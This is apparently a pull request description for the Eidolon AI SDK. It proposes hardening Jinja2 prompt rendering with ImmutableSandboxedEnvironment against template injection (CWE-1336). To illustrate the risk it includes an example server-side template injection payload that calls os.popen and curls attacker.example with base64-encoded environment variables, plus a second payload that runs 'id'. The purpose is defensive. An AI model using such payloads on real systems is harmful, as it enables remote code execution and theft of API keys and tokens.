Harden Jinja2 prompt rendering with ImmutableSandboxedEnvironment (CWE-1336 defense-in-depth)

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Summary

Switch all 8 Jinja2 Environment(undefined=StrictUndefined) instantiations across the 7 SDK agent modules to ImmutableSandboxedEnvironment(undefined=StrictUndefined). This is defense-in-depth against template-injection escalation (CWE-1336 / CWE-94) when agent-spec-supplied prompt templates contain untrusted Jinja2 syntax.

Background

Eidolon agents declare their prompts in the agent spec (SqlAgentSpec, SimpleAgentSpec, TotAgentSpec, etc. — all Pydantic BaseModels loaded from YAML via yaml.safe_load). The spec values are then fed into Jinja2 Environment(undefined=StrictUndefined) and rendered:

# sdk/eidolon_ai_sdk/agent/sql_agent/agent.py:75-80
environment = Environment(undefined=StrictUndefined)
self._error_prompt = environment.from_string(self.spec.error_prompt)
self._system_prompt = environment.from_string(self.spec.system_prompt)
self._user_prompt = environment.from_string(self.spec.user_prompt)
self._clarification_prompt = environment.from_string(self.spec.clarification_prompt)
self._response_prompt = environment.from_string(self.spec.response_prompt)

The same pattern recurs at 8 instantiation sites across 7 files in the SDK:

file	line(s)
sdk/eidolon_ai_sdk/agent/simple_agent.py	141, 227
sdk/eidolon_ai_sdk/agent/tot_agent/thought_generators.py	39
sdk/eidolon_ai_sdk/agent/tot_agent/tot_agent.py	124
sdk/eidolon_ai_sdk/agent/tot_agent/checker.py	46
sdk/eidolon_ai_sdk/agent/retriever_agent/hyde_question_transformer.py	25
sdk/eidolon_ai_sdk/agent/retriever_agent/multi_question_transformer.py	34
sdk/eidolon_ai_sdk/agent/sql_agent/agent.py	75

All of them render self.spec.*_prompt (or equivalent) through from_string.

Why this matters for an "enterprise-ready deployment server"

Eidolon's README pitches the project as "an enterprise ready, deployment server for Agentic applications" — i.e., a runtime that may host agents declared by parties other than the server operator. In any multi-tenant or self-service-onboarded deployment, the agent spec is effectively user-supplied data, and a malicious spec field like:

spec:
  system_prompt: "{{ cycler.__init__.__globals__['os'].popen('curl attacker.example/$(env|base64)').read() }}"

…would, with the current vanilla Environment, achieve remote code execution in the Eidolon process when the agent runs — exfiltrating provider API keys, GitHub tokens, OS environment, etc.

ImmutableSandboxedEnvironment blocks the unsafe attribute access (__init__, __globals__, __class__, __mro__, …) and mutation operations that Jinja2 SSTI primitives rely on, while leaving the safe template feature subset (variable substitution, conditionals, loops, filters) intact. Eidolon's first-party agent specs use only that safe subset, so this is a non-breaking change for current users.

Verification

from jinja2 import StrictUndefined
from jinja2.sandbox import ImmutableSandboxedEnvironment

env = ImmutableSandboxedEnvironment(undefined=StrictUndefined)

# Safe templates render identically (matches Eidolon's spec.*_prompt usage)
env.from_string('Answer the question: {{ question }}').render(question='hello')
# → 'Answer the question: hello'

# Conditional + loop (used in tot_agent thought generators)
env.from_string('{% for t in thoughts %}{{ t }}; {% endfor %}').render(thoughts=['a','b'])
# → 'a; b; '

# Untrusted spec value walking dunder attrs
env.from_string("{{ cycler.__init__.__globals__['os'].popen('id').read() }}").render()
# → SecurityError: access to attribute '__init__' of 'type' object is unsafe.

Patch shape

Per file, two lines change:

 from jinja2 import Environment, StrictUndefined
+from jinja2.sandbox import ImmutableSandboxedEnvironment

 ...

-        env = Environment(undefined=StrictUndefined)
+        env = ImmutableSandboxedEnvironment(undefined=StrictUndefined)

ImmutableSandboxedEnvironment is a subclass of Environment, so downstream code that type-checks against Environment continues to work without further changes.

Related

• Jinja2 sandbox docs: https://jinja.palletsprojects.com/en/stable/sandbox/
• Sister landings of the same defense in adjacent AI-agent frameworks: PrefectHQ/marvin#1348, griptape-ai/griptape#2183, The-PR-Agent/pr-agent#2408
• CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
• CWE-94: Improper Control of Generation of Code ("Code Injection")